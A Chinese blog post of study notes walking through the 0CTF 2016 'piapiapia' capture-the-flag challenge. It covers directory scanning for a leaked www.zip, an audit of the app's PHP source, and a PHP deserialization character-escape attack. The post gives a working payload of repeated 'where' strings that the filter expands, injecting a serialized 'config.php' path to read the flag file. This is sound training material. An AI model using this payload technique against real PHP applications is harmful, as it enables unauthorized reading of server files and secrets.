【学习笔记 31】 buu [0CTF 2016]piapiapia

0x00 知识点

  1. 网站目录的扫描(源码泄露)
  2. 代码审计
  3. PHP反序列化字符逃逸

0x01 知识点详解

  1. 网站目录扫描工具都是那几种?
    答:这里不单单是指常规的御剑,还包括dirsearch,dirb,nikto等工具,一定要多积累一些这样的工具,不然遇到这种同样的源码泄露,或者有robots.txt文件的题都没法下手。
  2. 什么是PHP反序列化字符逃逸?
    答:这里引用一个大佬的例子,感觉很是清晰明了,之后我也会自己再详细学习。
    序列化
<?php
$a = array('123', 'abc', 'defg');
var_dump(serialize($a));
?>

结果

string(49) "a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}" 

反序列化

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(4) "defg" } 

我们可以看到在后端中,反序列化是一";}结束的,如果我们把";}带入需要反序列化的字符串中(除了结尾处),是不是就能让反序列化提前结束后面的内容就丢弃了呢?
我们把第二个值abc换成abc";i:2;s:5:"qwert";}

<?php
//$a = array('123', 'abc', 'defg');
//var_dump(serialize($a));
//"a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}"
$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}';
var_dump(unserialize($b));
?>

运行结果

array(3) { [0]=> string(3) "123" [1]=> string(3) "abc" [2]=> string(5) "qwert" } 

成功的反序列化出我们自己定义的内容,丢弃了原先的内容(i:2;s:4:"defg")

0x02 解题思路

  1. 打开网站一看就发现了一个小猫咪的登录页面在这里插入图片描述
    这里通过网站目录扫描可以发现源码泄露,也就是www.zip文件,将源码下载下来后,进行代码审计。
  2. 这里我们就挑重要的代码进行审计了
    第一个就是update.php文件
<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

		$username = $_SESSION['username'];
		if(!preg_match('/^\d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');//可以看出这里用了一堆正则表达式来过滤我们提交的数据,而且第三个正则表达式和前面两个不一样,这里判断了nickname是否为字符还有长度是否超过10。如果我们传入的nickname是一个数组,绕过长度的限制,则可以绕过这正则表达式,是我们不会die出。

		$file = $_FILES['photo'];
		if($file['size'] < 5 or $file['size'] > 1000000)
			die('Photo size error');

		move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
		$profile['phone'] = $_POST['phone'];
		$profile['email'] = $_POST['email'];
		$profile['nickname'] = $_POST['nickname'];
		$profile['photo'] = 'upload/' . md5($file['name']);

		$user->update_profile($username, serialize($profile));//注意这里使用了序列化函数,一般题目中出现这个函数,都要考虑反序列化方面的解题方法,这里我们跟着update_profile函数跳转到class.php文件。
		echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
	}
	else {
?>
<!DOCTYPE html>
<html>
<head>
   <title>UPDATE</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> 
			<img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;">
			<h3>Please Update Your Profile</h3>
			<label>Phone:</label>
			<input type="text" name="phone" style="height:30px"class="span3"/>
			<label>Email:</label>
			<input type="text" name="email" style="height:30px"class="span3"/>
			<label>Nickname:</label>
			<input type="text" name="nickname" style="height:30px" class="span3">
			<label for="file">Photo:</label>
			<input type="file" name="photo" style="height:30px"class="span3"/>
			<button type="submit" class="btn btn-primary">UPDATE</button>
		</form>
	</div>
</body>
</html>
<?php
	}
?>

class.php

<?php
require('config.php');

class user extends mysql{
	private $table = 'users';

	public function is_exists($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		return parent::select($this->table, $where);
	}
	public function register($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$key_list = Array('username', 'password');
		$value_list = Array($username, md5($password));
		return parent::insert($this->table, $key_list, $value_list);
	}
	public function login($username, $password) {
		$username = parent::filter($username);
		$password = parent::filter($password);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		if ($object && $object->password === md5($password)) {
			return true;
		} else {
			return false;
		}
	}
	public function show_profile($username) {
		$username = parent::filter($username);

		$where = "username = '$username'";
		$object = parent::select($this->table, $where);
		return $object->profile;
	}
	public function update_profile($username, $new_profile) {     //找到这个函数了,继续往下看
		$username = parent::filter($username);
		$new_profile = parent::filter($new_profile);

		$where = "username = '$username'";
		return parent::update($this->table, 'profile', $new_profile, $where);
	}
	public function __tostring() {//调用了魔法函数
		return __class__;
	}
}

class mysql {
	private $link = null;

	public function connect($config) {
		$this->link = mysql_connect(
			$config['hostname'],
			$config['username'], 
			$config['password']
		);
		mysql_select_db($config['database']);
		mysql_query("SET sql_mode='strict_all_tables'");

		return $this->link;
	}

	public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

	public function insert($table, $key_list, $value_list) {
		$key = implode(',', $key_list);
		$value = '\'' . implode('\',\'', $value_list) . '\''; 
		$sql = "INSERT INTO $table ($key) VALUES ($value)";
		return mysql_query($sql);
	}

	public function update($table, $key, $value, $where) {
		$sql = "UPDATE $table SET $key = '$value' WHERE $where";
		return mysql_query($sql);
	}

	public function filter($string) {   
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');       //注意这里定义的非法值
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}      //这里将非法值替换成了hacker
	public function __tostring() {
		return __class__;
	}
}
session_start();
$user = new user();
$user->connect($config);

这俩个文件的意思就是先正则匹配,之后将参数序列化,最后替换里边的非法值。
profile.php

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	}
	$username = $_SESSION['username'];
	$profile=$user->show_profile($username);
	if($profile  == null) {
		header('Location: update.php');
	}
	else {
		$profile = unserialize($profile);//将传参反序列化出来
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname'];
		$photo = base64_encode(file_get_contents($profile['photo']));//这里进行了文件读取,也就是说photo将是我们可以操作的参数
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

config.php

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';//flag在这里
?>

那么思路很明显了我们构造包含config.php的序列化字符串,利用字符串逃逸,在profile.php中读取出来。

  1. 首先我们的反序列化字符逃逸,序列化的字符是可控的,还有前面的长度是可控的。但update.php将参数序列化,我们可控变量的长度就已经写死了,怎么才能去控制呢。这里就要用到前面class.php中将非法值替换为hacker这一步了。通过将‘select‘, ‘insert‘, ‘update‘, ‘delete‘, ‘where‘替换成‘hacker‘,当我们写入where替换成hacker之后字符串实际的长度就+1,因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。剩下的字符串我们构造成class.php因为里面包含了flag,并且让他在photo位置上,然后把photo给扔掉,这样在profile.php中读取的photo就是我们构造的config.php了,也就是读取到了flag。
    也就是说利用这个替换,使得实际长度增长,将我们认为构造的带有config.php的序列化字符串放到原来photo所在的位置,并且闭合,使序列化字符串闭合。
    所以我们这里就需要";}s:5:"photo";s:10:"config.php";}将这么一串我们自己构造的字符串插入其中,由于这串字符串的总长度为34,所以,我们就需要在其前加34个where来延长这个长度,之后将这个参数传进去,就可以去profile.php页面读取flag了。

  2. 首先访问register.php页面随便注册一个账号并登录
    在这里插入图片描述

  3. 之后就会跳转到update.php页面,这里就需要你填写信息这里注意你填写的信息好符合对应的格式,不然你总会更信息失败。之后抓包在这里插入图片描述
    在这里插入图片描述接下来因为是要把photo的值挤出去,所以就要photo前的参数也就是nickname
    将nickname改为nickname[]数组绕过长度检测,之后修改nickname里的内容

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在这里插入图片描述

  1. 放包后进入profile.php查看源码
    在这里插入图片描述将这里的base64解码
    在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43553654/article/details/107694255